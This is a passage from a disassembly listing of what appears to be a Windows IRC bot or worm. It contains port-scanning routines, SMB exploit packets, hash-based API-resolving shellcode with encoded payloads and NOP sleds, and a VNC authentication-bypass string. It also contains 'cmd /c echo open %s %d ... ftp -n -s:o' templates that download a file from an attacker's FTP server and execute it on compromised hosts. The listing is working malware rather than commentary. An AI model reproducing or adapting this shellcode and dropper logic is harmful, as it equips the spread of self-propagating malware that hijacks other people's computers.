2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319E4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A18 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D18 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EA4 push dword ptr [esi] push 63D61209h call sub_431EBA mov [esi+8], eax call sub_431E6D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EBA mov [esi+0Ch], eax call sub_431E1F push dword ptr [esi+4] push 4C0297FAh call sub_431EBA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DA8 endp ; =============== S U B R O U T I N E ======================================= sub_431E1F proc near ; CODE XREF: sub_431DA8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E48 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E48 proc near ; CODE XREF: sub_431E1F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E57: ; CODE XREF: sub_431E48+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E64 inc ebx jmp short loc_431E57 ; --------------------------------------------------------------------------- loc_431E64: ; CODE XREF: sub_431E48+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E85: ; CODE XREF: sub_431E6D+1Ej cmp [ecx], ebx jz short loc_431E8D mov ecx, [ecx] jmp short loc_431E85 ; --------------------------------------------------------------------------- loc_431E8D: ; CODE XREF: sub_431E6D+1Aj mov edx, edi loc_431E8F: ; CODE XREF: sub_431E6D+2Aj cmp [edx+4], ebx jz short loc_431E99 mov edx, [edx+4] jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E99: ; CODE XREF: sub_431E6D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E6D endp ; =============== S U B R O U T I N E ======================================= sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EA4 endp ; =============== S U B R O U T I N E ======================================= sub_431EBA proc near ; CODE XREF: sub_431DA8+16p ; sub_431DA8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED0: ; CODE XREF: sub_431EBA+33j jecxz short loc_431F0A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EDD: ; CODE XREF: sub_431EBA+2Dj lodsb cmp al, ah jz short loc_431EE9 ror edi, 0Dh add edi, eax jmp short loc_431EDD ; --------------------------------------------------------------------------- loc_431EE9: ; CODE XREF: sub_431EBA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j ; sub_431EBA:loc_431F0Aj jmp short loc_431F0A sub_431EBA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F10 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F62 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F2D: ; CODE XREF: sub_431F10+38j jecxz short loc_431F5D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F38: ; CODE XREF: sub_431F10+32j lodsb test al, al jz short loc_431F44 ror edx, 0Dh add edx, eax jmp short loc_431F38 ; --------------------------------------------------------------------------- loc_431F44: ; CODE XREF: sub_431F10+2Bj cmp edx, [esp+arg_0] jnz short loc_431F2D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj mov [esp+arg_0], ebx retn sub_431F10 endp ; =============== S U B R O U T I N E ======================================= sub_431F62 proc near ; CODE XREF: sub_431F10+7p ; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F7B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F86 ; --------------------------------------------------------------------------- loc_431F7B: ; CODE XREF: sub_431F62+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F86: ; CODE XREF: sub_431F62+14j pop edi xor esi, esi pusha push esi jmp short loc_431F9A sub_431F62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F62 loc_431F9A: ; CODE XREF: sub_431F62+29j call sub_431F8D loc_431F9F: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F62 ; --------------------------------------------------------------------------- dw 0 dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FC4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FCC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432044: ; CODE XREF: ___:0043204Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432044 inc edi jz short loc_43208B and eax, 952CE753h inc esp jle short loc_4320B3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43208B: ; CODE XREF: ___:00432051j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320EA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B0: ; CODE XREF: ___:004320DDj xor [esi-25h], bl loc_4320B3: ; CODE XREF: ___:00432059j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320CC: ; CODE XREF: ___:004320FFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320EA: ; CODE XREF: ___:00432091j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432176 jo short loc_4320CC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43210D+1 add bl, [edi] loc_43210D: ; CODE XREF: ___:00432109j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432122+2 cmp ch, bh dec edx loc_432122: ; CODE XREF: ___:0043211Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432176: ; CODE XREF: ___:004320FDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4321FC sub al, 0BCh jmp near ptr 5445256Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4321FC: ; CODE XREF: ___:00432180j push eax xor al, 29h loc_4321FF: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433508 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C70o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C7Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: 